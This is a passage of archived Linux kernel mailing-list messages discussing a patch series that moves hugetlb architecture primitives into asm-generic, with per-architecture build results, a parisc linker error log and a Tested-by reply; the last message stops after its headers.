>>>>>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>>>>>    hugetlb: Introduce generic version of huge_pte_none
>>>>>    hugetlb: Introduce generic version of huge_pte_wrprotect
>>>>>    hugetlb: Introduce generic version of prepare_hugepage_range
>>>>>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>>>>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>>>>    hugetlb: Introduce generic version of huge_ptep_get
>>>>>
>>>>>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>>>>   arch/arm/include/asm/hugetlb.h               | 33 +----------
>>>>>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>>>>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>>>>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>>>>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>>>>   arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>>>>>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>>>>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>>>>   arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>>>>>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>>>>   arch/sh/include/asm/hugetlb.h                | 54 ++---------------
>>>>>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>>>>   arch/x86/include/asm/hugetlb.h               | 72  
>>>>> +----------------------
>>>>>   include/asm-generic/hugetlb.h                | 88  
>>>>> +++++++++++++++++++++++++++-
>>>>>   15 files changed, 143 insertions(+), 384 deletions(-)
>>>>>
>>>>> -- 
>>>>> 2.16.2




From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.kernel.cross-arch,gmane.linux.ports.sparc,gmane.linux.ports.sh.devel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 16:46:20 +0000
Lines: 139
Approved: news@gmane.org
Message-ID: <58887adf-1852-4291-08aa-a1dd2007326b@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
 <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
 <20180726171355.Horde.KlFUG9wXmbRDCiyhk5bHsw8@messagerie.si.c-s.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1532623481 16223 195.159.176.226 (26 Jul 2018 16:44:41 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 16:44:41 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Mike Kravetz <mike.kravetz@oracle.com>, davem@davemloft.net,
        linuxppc-dev@lists.ozlabs.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        paul.burton@mips.com, ralf@linux-mips.org,
        linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
        tony.luck@intel.com, linux-arm-kernel@lists.infradead.org,
        tglx@linutronix.de, arnd@arndb.de, fenghua.yu@intel.com,
        jhogan@kernel.org, catalin.marinas@arm.com, mingo@redhat.com,
        linux@armlinux.org.uk, x86@kernel.org, deller@gmx.de,
        ysato@users.sourceforge.jp, linux-arch@vger.kernel.org,
        sparclinux@vger.kernel.org, hpa@zytor.com, paulus@samba.org,
        jejb@parisc-linux.org, will.deacon@arm.com,
        linux-sh@vger.kernel.org, linux-ia64@vger.kernel.org,
        dalias@libc.org, linux-mips@linux-mips.org,
        Michal Hocko <mhocko@kernel.org>,
        Michael Ell
To: LEROY Christophe <christophe.leroy@c-s.fr>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 18:44:34 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fijNQ-000417-Cw
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 18:44:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388502AbeGZSET (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 14:04:19 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:40709 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731291AbeGZSET (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 14:04:19 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 9F56C6000C;
        Thu, 26 Jul 2018 16:46:22 +0000 (UTC)
In-Reply-To: <20180726171355.Horde.KlFUG9wXmbRDCiyhk5bHsw8@messagerie.si.c-s.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831584 gmane.linux.ports.ppc64.devel:160468 gmane.linux.ports.parisc:28823 gmane.linux.ports.arm.kernel:666230 gmane.linux.kernel.cross-arch:45494 gmane.linux.ports.sparc:28119 gmane.linux.ports.sh.devel:57258 gmane.linux.ports.ia64:28961 gmane.linux.ports.mips.general:65672
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831584>

Hi Christophe,

Sorry, I should have done it already: with and without huge page 
activated, the build for mpc885_ads_defconfig is OK.

Thanks,

Alex

On 07/26/2018 03:13 PM, LEROY Christophe wrote:
> Alex Ghiti <alex@ghiti.fr> a écrit :
>
>> Hi everyone,
>>
>> This is the result of the build for all arches tackled in this series 
>> rebased on 4.18-rc6:
>>
>> arm:
>>         versatile_defconfig: without huge page OK
>>         keystone_defconfig: with huge page OK
>> arm64:
>>         defconfig: with huge page OK
>> ia64:
>>         generic_defconfig: with huge page OK
>> mips:
>>         Paul Burton tested cavium octeon with huge page OK
>> parisc:
>>         generic-64bit_defconfig: with huge page does not link
>>         generic-64bit_defconfig: without huge page does not link
>>         BUT not because of this series, any feedback welcome.
>> powerpc:
>>         ppc64_defconfig: without huge page OK
>>         ppc64_defconfig: with huge page OK
>
> Can you also test ppc32 both with and without hugepage 
> (mpc885_ads_defconfig)
>
> Thanks
> Christophe
>
>> sh:
>>         dreamcast_defconfig: with huge page OK
>> sparc:
>>         sparc32_defconfig: without huge page OK
>> sparc64:
>>         sparc64_defconfig: with huge page OK
>> x86:
>>         with huge page OK
>>
>> Alex
>>
>> On 07/23/2018 02:00 PM, Michael Ellerman wrote:
>>> Alex Ghiti <alex@ghiti.fr> writes:
>>>
>>>> Does anyone have any suggestion about those patches ?
>>> Cross compiling it for some non-x86 arches would be a good start :)
>>>
>>> There are cross compilers available here:
>>>
>>>   https://mirrors.edge.kernel.org/pub/tools/crosstool/
>>>
>>>
>>> cheers
>>>
>>>> On 07/09/2018 02:16 PM, Michal Hocko wrote:
>>>>> [CC hugetlb guys - 
>>>>> http://lkml.kernel.org/r/20180705110716.3919-1-alex@ghiti.fr]
>>>>>
>>>>> On Thu 05-07-18 11:07:05, Alexandre Ghiti wrote:
>>>>>> In order to reduce copy/paste of functions across architectures 
>>>>>> and then
>>>>>> make riscv hugetlb port (and future ports) simpler and smaller, this
>>>>>> patchset intends to factorize the numerous hugetlb primitives 
>>>>>> that are
>>>>>> defined across all the architectures.
>>>>>>
>>>>>> Except for prepare_hugepage_range, this patchset moves the 
>>>>>> versions that
>>>>>> are just pass-through to standard pte primitives into
>>>>>> asm-generic/hugetlb.h by using the same #ifdef semantic that can be
>>>>>> found in asm-generic/pgtable.h, i.e. __HAVE_ARCH_***.
>>>>>>
>>>>>> s390 architecture has not been tackled in this serie since it 
>>>>>> does not
>>>>>> use asm-generic/hugetlb.h at all.
>>>>>> powerpc could be factorized a bit more (cf huge_ptep_set_wrprotect).
>>>>>>
>>>>>> This patchset has been compiled on x86 only.
>>>>>>
>>>>>> Changelog:
>>>>>>
>>>>>> v4:
>>>>>>    Fix powerpc build error due to misplacing of #include
>>>>>>    <asm-generic/hugetlb.h> outside of #ifdef CONFIG_HUGETLB_PAGE, as
>>>>>>    pointed by Christophe Leroy.
>>>>>>
>>>>>> v1, v2, v3:
>>>>>>    Same version, just problems with email provider and misuse of
>>>>>>    --batch-size option of git send-email
>>>>>>
>>>>>> Alexandre Ghiti (11):
>>>>>>    hugetlb: Harmonize hugetlb.h arch specific defines with pgtable.h
>>>>>>    hugetlb: Introduce generic version of hugetlb_free_pgd_range
>>>>>>    hugetlb: Introduce generic version of set_huge_pte_at
>>>>>>    hugetlb: Introduce generic version of huge_ptep_get_and_clear
>>>>>>    hugetlb: Introduce generic version of huge_ptep_clear_flush
>>>>>>    hugetlb: Introduce generic version of huge_pte_none
>>>>>>    hugetlb: Introduce generic version of huge_pte_wrprotect
>>>>>>    hugetlb: Introduce generic version of prepare_hugepage_range
>>>>>>    hugetlb: Introduce generic version of huge_ptep_set_wrprotect
>>>>>>    hugetlb: Introduce generic version of huge_ptep_set_access_flags
>>>>>>    hugetlb: Introduce generic version of huge_ptep_get
>>>>>>
>>>>>>   arch/arm/include/asm/hugetlb-3level.h        | 32 +---------
>>>>>>   arch/arm/include/asm/hugetlb.h               | 33 +----------
>>>>>>   arch/arm64/include/asm/hugetlb.h             | 39 +++---------
>>>>>>   arch/ia64/include/asm/hugetlb.h              | 47 ++-------------
>>>>>>   arch/mips/include/asm/hugetlb.h              | 40 +++----------
>>>>>>   arch/parisc/include/asm/hugetlb.h            | 33 +++--------
>>>>>>   arch/powerpc/include/asm/book3s/32/pgtable.h |  2 +
>>>>>>   arch/powerpc/include/asm/book3s/64/pgtable.h |  1 +
>>>>>>   arch/powerpc/include/asm/hugetlb.h           | 43 ++------------
>>>>>>   arch/powerpc/include/asm/nohash/32/pgtable.h |  2 +
>>>>>>   arch/powerpc/include/asm/nohash/64/pgtable.h |  1 +
>>>>>>   arch/sh/include/asm/hugetlb.h                | 54 
>>>>>> ++---------------
>>>>>>   arch/sparc/include/asm/hugetlb.h             | 40 +++----------
>>>>>>   arch/x86/include/asm/hugetlb.h               | 72 
>>>>>> +----------------------
>>>>>>   include/asm-generic/hugetlb.h                | 88 
>>>>>> +++++++++++++++++++++++++++-
>>>>>>   15 files changed, 143 insertions(+), 384 deletions(-)
>>>>>>
>>>>>> -- 
>>>>>> 2.16.2
>
>



From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alex Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/11] hugetlb: Factorize hugetlb architecture
 primitives
Date: Thu, 26 Jul 2018 17:01:57 +0000
Lines: 131
Approved: news@gmane.org
Message-ID: <de188e2f-99ab-53fa-20df-4fec00a935e9@ghiti.fr>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180709141621.GD22297@dhcp22.suse.cz>
 <2173685f-7f85-7acb-4685-2383210c5fa2@ghiti.fr>
 <87d0vehx16.fsf@concordia.ellerman.id.au>
 <67aba0f0-c0d4-b06f-5fbc-f4d113ce5033@ghiti.fr>
 <20180726125940.GA15033@ls3530>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1532624408 16390 195.159.176.226 (26 Jul 2018 17:00:08 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 17:00:08 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: Michael Ellerman <mpe@ellerman.id.au>,
        Michal Hocko <mhocko@kernel.org>, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, benh@kernel.crashing.org,
        paulus@samba.org, ysato@users.sourceforge.jp, dalias@libc.org,
        davem@davemloft.net, tglx@linutronix.de, mingo@redhat.com,
        hpa@zytor.com, x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org,
        Naoya Horiguchi <n-horiguchi@ah.jp.nec.com>,
        Mike Krav
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jul 26 19:00:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fijcN-00045J-IB
	for glk-linux-kernel-4@m.gmane.org; Thu, 26 Jul 2018 19:00:00 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2388611AbeGZSTu (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 26 Jul 2018 14:19:50 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:34735 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1731864AbeGZSTt (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 26 Jul 2018 14:19:49 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from [192.168.0.11] (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 3D88460011;
        Thu, 26 Jul 2018 17:01:58 +0000 (UTC)
In-Reply-To: <20180726125940.GA15033@ls3530>
Content-Language: fr
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2831593 gmane.linux.ports.arm.kernel:666233 gmane.linux.ports.ia64:28962 gmane.linux.ports.mips.general:65673 gmane.linux.ports.parisc:28824 gmane.linux.ports.ppc64.devel:160469 gmane.linux.ports.sh.devel:57259 gmane.linux.ports.sparc:28120 gmane.linux.kernel.cross-arch:45495
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2831593>

Hi Helge,

Thanks for your tests.
In case it can help you, this is what I get when I try to build 
generic-64bit_defconfig (I truncated the output):

...

 LD vmlinux.o
 MODPOST vmlinux.o
hppa64-linux-ld: init/main.o(.text+0x98): cannot reach strreplace
init/main.o: In function `initcall_blacklisted':
init/.tmp_main.o:(.text+0x98): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `strreplace' defined in .text section 
in lib/string.o
hppa64-linux-ld: init/main.o(.text+0xbc): cannot reach strcmp
init/.tmp_main.o:(.text+0xbc): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `strcmp' defined in .text section in 
lib/string.o
hppa64-linux-ld: init/main.o(.text+0x21c): cannot reach strcpy
init/main.o: In function `do_one_initcall':
(.text+0x21c): relocation truncated to fit: R_PARISC_PCREL22F against 
symbol `strcpy' defined in .text section in lib/string.o
hppa64-linux-ld: init/main.o(.text+0x250): cannot reach strlcat
(.text+0x250): relocation truncated to fit: R_PARISC_PCREL22F against 
symbol `strlcat' defined in .text section in lib/string.o
hppa64-linux-ld: init/main.o(.init.text+0x1d4): cannot reach strcmp
init/main.o: In function `do_early_param':
init/.tmp_main.o:(.init.text+0x1d4): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `strcmp' defined in .text section in 
lib/string.o
hppa64-linux-ld: init/main.o(.init.text+0x250): cannot reach strcmp
init/.tmp_main.o:(.init.text+0x250): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `strcmp' defined in .text section in 
lib/string.o
hppa64-linux-ld: init/main.o(.init.text+0x294): cannot reach strlen
init/main.o: In function `repair_env_string':
init/.tmp_main.o:(.init.text+0x294): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `strlen' defined in .text section in 
lib/string.o
hppa64-linux-ld: init/main.o(.init.text+0x2f0): cannot reach strlen
init/.tmp_main.o:(.init.text+0x2f0): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `strlen' defined in .text section in 
lib/string.o
hppa64-linux-ld: init/main.o(.init.text+0x308): cannot reach memmove
init/.tmp_main.o:(.init.text+0x308): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `memmove' defined in .text section in 
lib/string.o
hppa64-linux-ld: init/main.o(.init.text+0x454): cannot reach strlen
init/main.o: In function `unknown_bootoption':
init/.tmp_main.o:(.init.text+0x454): relocation truncated to fit: 
R_PARISC_PCREL22F against symbol `strlen' defined in .text section in 
lib/string.o
hppa64-linux-ld: init/main.o(.init.text+0x4dc): cannot reach strchr
init/.tmp_main.o:(.init.text+0x4dc): additional relocation overflows 
omitted from the output
hppa64-linux-ld: init/main.o(.init.text+0x638): cannot reach strncmp
hppa64-linux-ld: init/main.o(.init.text+0x694): cannot reach get_option
hppa64-linux-ld: init/main.o(.init.text+0x744): cannot reach strsep
hppa64-linux-ld: init/main.o(.init.text+0x798): cannot reach strlen
hppa64-linux-ld: init/main.o(.init.text+0x7d0): cannot reach strcpy
hppa64-linux-ld: init/main.o(.init.text+0x954): cannot reach strlcpy
hppa64-linux-ld: init/main.o(.init.text+0xab8): cannot reach strlen
hppa64-linux-ld: init/main.o(.init.text+0xafc): cannot reach strlen
hppa64-linux-ld: init/main.o(.init.text+0xb40): cannot reach strlen
hppa64-linux-ld: init/main.o(.init.text+0xb84): cannot reach strlen
hppa64-linux-ld: init/main.o(.init.text+0xbd0): cannot reach strcpy
hppa64-linux-ld: init/main.o(.init.text+0xbe8): cannot reach strcpy
hppa64-linux-ld: init/main.o(.init.text+0xc3c): cannot reach 
build_all_zonelists
hppa64-linux-ld: init/main.o(.init.text+0x1200): cannot reach unknown
hppa64-linux-ld: init/main.o(.init.text+0x1278): cannot reach 
wait_for_completion
hppa64-linux-ld: init/main.o(.init.text+0x12b0): cannot reach _raw_spin_lock
hppa64-linux-ld: init/main.o(.init.text+0x147c): cannot reach strcpy
hppa64-linux-ld: init/main.o(.ref.text+0x40): cannot reach kernel_thread
hppa64-linux-ld: init/main.o(.ref.text+0x60): cannot reach 
find_task_by_pid_ns
hppa64-linux-ld: init/main.o(.ref.text+0x98): cannot reach 
set_cpus_allowed_ptr
hppa64-linux-ld: init/main.o(.ref.text+0xbc): cannot reach kernel_thread
hppa64-linux-ld: init/main.o(.ref.text+0xd4): cannot reach 
find_task_by_pid_ns
hppa64-linux-ld: init/main.o(.ref.text+0x108): cannot reach complete
hppa64-linux-ld: init/main.o(.ref.text+0x128): cannot reach 
cpu_startup_entry
hppa64-linux-ld: init/main.o(.ref.text+0x164): cannot reach unknown
hppa64-linux-ld: init/main.o(.ref.text+0x174): cannot reach 
async_synchronize_full
hppa64-linux-ld: init/main.o(.ref.text+0x1a4): cannot reach 
rcu_barrier_sched
hppa64-linux-ld: init/main.o(.ref.text+0x1b4): cannot reach mark_rodata_ro
hppa64-linux-ld: init/main.o(.ref.text+0x1d4): cannot reach 
rcu_end_inkernel_boot
hppa64-linux-ld: init/main.o(.ref.text+0x1f4): cannot reach unknown
hppa64-linux-ld: init/main.o(.ref.text+0x218): cannot reach printk
hppa64-linux-ld: init/main.o(.ref.text+0x238): cannot reach unknown
hppa64-linux-ld: init/main.o(.ref.text+0x258): cannot reach panic
hppa64-linux-ld: init/main.o(.ref.text+0x268): cannot reach printk
hppa64-linux-ld: init/main.o(.ref.text+0x280): cannot reach unknown
hppa64-linux-ld: init/main.o(.ref.text+0x29c): cannot reach unknown
hppa64-linux-ld: init/main.o(.ref.text+0x2b8): cannot reach unknown
hppa64-linux-ld: init/main.o(.ref.text+0x2d4): cannot reach unknown
hppa64-linux-ld: init/main.o(.ref.text+0x2f0): cannot reach panic
hppa64-linux-ld: init/do_mounts.o(.text+0x30): cannot reach strncasecmp
hppa64-linux-ld: init/do_mounts.o(.text+0x158): cannot reach strncmp
hppa64-linux-ld: init/do_mounts.o(.text+0x180): cannot reach strchr

...


On 07/26/2018 12:59 PM, Helge Deller wrote:
> * Alex Ghiti <alex@ghiti.fr>:
>> This is the result of the build for all arches tackled in this series
>> rebased on 4.18-rc6:
>> ...
>> parisc:
>>   generic-64bit_defconfig: with huge page does not link
>>   generic-64bit_defconfig: without huge page does not link
>>   BUT not because of this series, any feedback welcome.
> Strange, but I will check that later....
>
> Anyway, I applied your v4-patch to my parisc64 tree, built the kernel,
> started it and ran some hugetlb LTP testcases sucessfully.
> So, please add:
>
> Tested-by: Helge Deller <deller@gmx.de> # parisc
>
> Helge



From - Thu Nov 08 21:41:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Kravetz <mike.kravetz@oracle.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 01/11] hugetlb: Harmonize hugetlb.h arch specific
 defines with pgtable.h
Date: Thu, 26 Jul 2018 11:40:49 -0700
Lines: 46
Approved: news@gmane.org
Message-ID: <1f95fdc7-378b-9c2a-15ae-da78578a27bf@oracle.com>
References: <20180705110716.3919-1-alex@ghiti.fr>
 <20180705110716.3919-2-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1532630411 20444 195.159.176.226 (26 Jul 2018 18:40:11 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 26 Jul 2018 18:40:11 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
To: Alexandre Ghiti <alex@ghiti.fr>, linux@armlinux.org.uk,
 catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
 fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
 jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
 benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
 ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
 tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
 arnd@arndb.de, linux-arm-kernel@lists.infradead.org,
 linux-kernel@vger.kernel.org, linux-ia64@vger.kernel.org,
 linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
 linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
 sparclinux@vger.kernel.org, linux-arch@vger.kernel.org
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Thu Jul 26 20:40:05 2018
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1filBE-000598-3a
	for linux-arm-kernel@m.gmane.org; Thu, 26 Jul 2018 20:40:04 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:From:References:To:Subject:Reply-To:Cc:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=VokEDtIeQb6guRA7iCI76xhNcPOpMPHllKNx7C76GyY=; b=jAPay0DYHCej2B5/7Mj+z4UdHK
	Ffq24WOV7mmyEec71HmbBoGfnpzw/wZqiBUiyKAcnVgeDil+WGjoUbkWVAJJ8qgajDK6D/fPDumCL
	bQKoqLzZ7AI6pP34D7QxJMG9bdjCK6o6DCvaFzvvg95Zi4Rncw2PiQV37mdySJSIQZHctEblXdIRW
	pc7gYVjBnJYhWZx2XYh9Is0quI8ZDycfjxrQCx5cMT2GmkzweSTg9Ih7+3z7u5l7FhiH04lsSQDVI
	T+uHzVS/VQrayyHkwBDb1dUIPWDY/cmBO/YDR5CxpHmckX0Op80LbEONzRxTYqQo1voRsuW3fhL/8
	eHCRMibw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1filDI-0007SR-0E; Thu, 26 Jul 2018 18:42:12 +0000
Original-Received: from userp2130.oracle.com ([156.151.31.86])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1filDD-0007JN-Le
 for linux-arm-kernel@lists.infradead.org; Thu, 26 Jul 2018 18:42:09 +0000
Original-Received: from pps.filterd (userp2130.oracle.com [127.0.0.1])
 by userp2130.oracle.com (8.16.0.22/8.16.0.22) with SMTP id w6QIdPtT087581;
 Thu, 26 Jul 2018 18:41:04 GMT
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=oracle.com;
 h=subject : to :
 references : from : message-id : date : mime-version : in-reply-to :
 content-type : content-transfer-encoding; s=corp-2018-07-02;
 bh=XksFvEa4qtN6dX3cv826jX28nJp5tgiVyhdQqP1EueM=;
 b=arOTTObm5bU3L7FnFPFAi+k0mxMFlt2lVFdtVv8b3qrMbrvy7mvaGhKpmuYAxsj+JKdF
 Lw2Ztan3cRSDB3Cs+VdDRXFYG3GJl+yQNUBefXDLQjwb7mcGFaXPokajon1iv1qjF7r4
 DTInn7eSQ84is/jO+3WowudpwGLokKR/OvKEwUtFQQMFVMrxRfwjZczTGdyN8nNTS/BJ
 NLtp32zDFJpiArJO/DduVUy8l5uMyyM6YGr+A+wYd/Tefl2wy0+SgrTAlH6LeqdIX6SX
 0iUfep4eYFpp30hQXjDhVtXA5pusUegFUlDcdgZUq0FImSQCU9OdaZofjPKe0BMjYVgO wQ== 
Original-Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233])
 by userp2130.oracle.com with ESMTP id 2kbv8tcd2e-1
 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 18:41:04 +0000
Original-Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75])
 by aserv0021.oracle.com (8.14.4/8.14.4) with ESMTP id w6QIf145018153
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
 Thu, 26 Jul 2018 18:41:02 GMT
Original-Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18])
 by userv0122.oracle.com (8.14.4/8.14.4) with ESMTP id w6QIeqIB023467;
 Thu, 26 Jul 2018 18:40:53 GMT
Original-Received: from [192.168.1.164] (/50.38.38.67)
 by default (Oracle Beehive Gateway v4.0)
 with ESMTP ; Thu, 26 Jul 2018 11:40:51 -0700
In-Reply-To: <20180705110716.3919-2-alex@ghiti.fr>
Content-Language: en-US
X-Proofpoint-Virus-Version: vendor=nai engine=5900 definitions=8965
 signatures=668706
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 malwarescore=0
 phishscore=0 bulkscore=0 spamscore=0 mlxscore=0 mlxlogscore=997
 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1
 engine=8.0.1-1806210000 definitions=main-1807260191
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180726_114207_876211_10C05E4B 
